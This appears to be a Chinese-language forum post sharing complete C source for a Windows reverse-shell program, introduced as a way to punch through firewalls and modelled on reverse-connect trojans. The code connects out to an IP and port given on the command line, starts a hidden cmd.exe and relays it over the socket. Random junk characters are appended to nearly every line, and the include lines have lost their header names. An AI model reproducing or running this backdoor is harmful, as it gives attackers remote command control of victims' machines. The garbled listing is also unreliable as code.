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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sitgz)Ki^  
' L-h2  
/* ============================== kvN<o-B  
Rebound port in Windows NT Xb@dQRVX  
By wind,2006/7 +bk+0k9k5  
===============================*/ xD9ZL  
#include 7[1 VFc#tf  
#include ybv]wBpM:  
>@EwfM4[e  
#pragma comment(lib,"wsock32.lib") }O\g<ke:u  
n T7]PhJ  
void OutputShell(); j>3Fwg9V  
SOCKET sClient; bsc#Oq]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \Rw^&;\1  
\j4!dOGZ  
void main(int argc,char **argv) d*$x|B|V  
{ TVVu_ib  
WSADATA stWsaData; j:$Z-s  
int nRet; 69 J4p=c,  
SOCKADDR_IN stSaiClient,stSaiServer; I:WPP'L4o  
a1x].{  
if(argc != 3) qE.3:bQ!`  
{ S`& yVzv  
printf("Useage:\n\rRebound DestIP DestPort\n"); Gh}* <X;N  
return; hyY^$p+  
} zVis"g`  
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WSAStartup(MAKEWORD(2,2),&stWsaData); iV:\,<8d  
AD >/#Ul  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bYYjP.rcF  
s>=$E~qq  
stSaiClient.sin_family = AF_INET; ]dT]25V  
stSaiClient.sin_port = htons(0); (`<B#D;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nv3TxG  
?4t~z 1.f  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ch]q:o4  
{ <bJ~Ol  
printf("Bind Socket Failed!\n"); ]UrlFiR  
return; }OSfC~5P  
} G+WCE*  
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stSaiServer.sin_family = AF_INET; t&-c?&FO\;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g` ,(O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D=)qd@,K  
.UU)   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '.e 5Ku  
{ {JM3drnw  
printf("Connect Error!"); *7qa]i^]  
return; )O\l3h"  
} n65fT+;  
OutputShell(); JEfhr  
} 7o-}86x#  
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void OutputShell() KF7d`bRe  
{ PAiVUGp5[  
char szBuff[1024]; NJKk\RM@7  
SECURITY_ATTRIBUTES stSecurityAttributes; akQb%Wq  
OSVERSIONINFO stOsversionInfo; V3_qqz}`r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oTA'=<W?D  
STARTUPINFO stStartupInfo; lEpPi@2PK  
char *szShell;  c70B  
PROCESS_INFORMATION stProcessInformation; `Mo%)I<`=  
unsigned long lBytesRead; G~NhBA9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xG(:O@  
II.Wa&w}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tAb3ejCo?  
stSecurityAttributes.lpSecurityDescriptor = 0; O>ZJOKe  
stSecurityAttributes.bInheritHandle = TRUE; &< hk&B  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `U;V-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i k0w\*  
^1ks`1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eoPoG C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mW)"~sA  
stStartupInfo.wShowWindow = SW_HIDE; C |rl",&  
stStartupInfo.hStdInput = hReadPipe; 'YEiT#+/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e co=ia  
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GetVersionEx(&stOsversionInfo); l`];CALA4  
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switch(stOsversionInfo.dwPlatformId) [ HjGdC  
{ =IIE]<z  
case 1: C,u;l~zz  
szShell = "command.com"; + >v{#A_u  
break; 73M;-qnU  
default: EKT"pL-EY  
szShell = "cmd.exe"; b;I!Cy D  
break; CjA}-ee  
} w2tkJcQ3  
'`p0T%w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vaZ?>94  
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send(sClient,szMsg,77,0); a[gN+DX%L  
while(1) |nO }YU\E  
{ I q47^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D7$xY\0r  
if(lBytesRead) Sq 2yQSd  
{ iainl@3Qj  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (yz8}L3  
send(sClient,szBuff,lBytesRead,0); OZh+x`' #  
} < YuI}d~'  
else \y/+H  
{ W/;qMP1"-  
lBytesRead=recv(sClient,szBuff,1024,0); .]Z,O>N  
if(lBytesRead<=0) break; $E@ke:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .{ ]=v  
} [g*]u3s  
} u"a$/  
bRAf!<3  
return; NPR{g!tK%  
}
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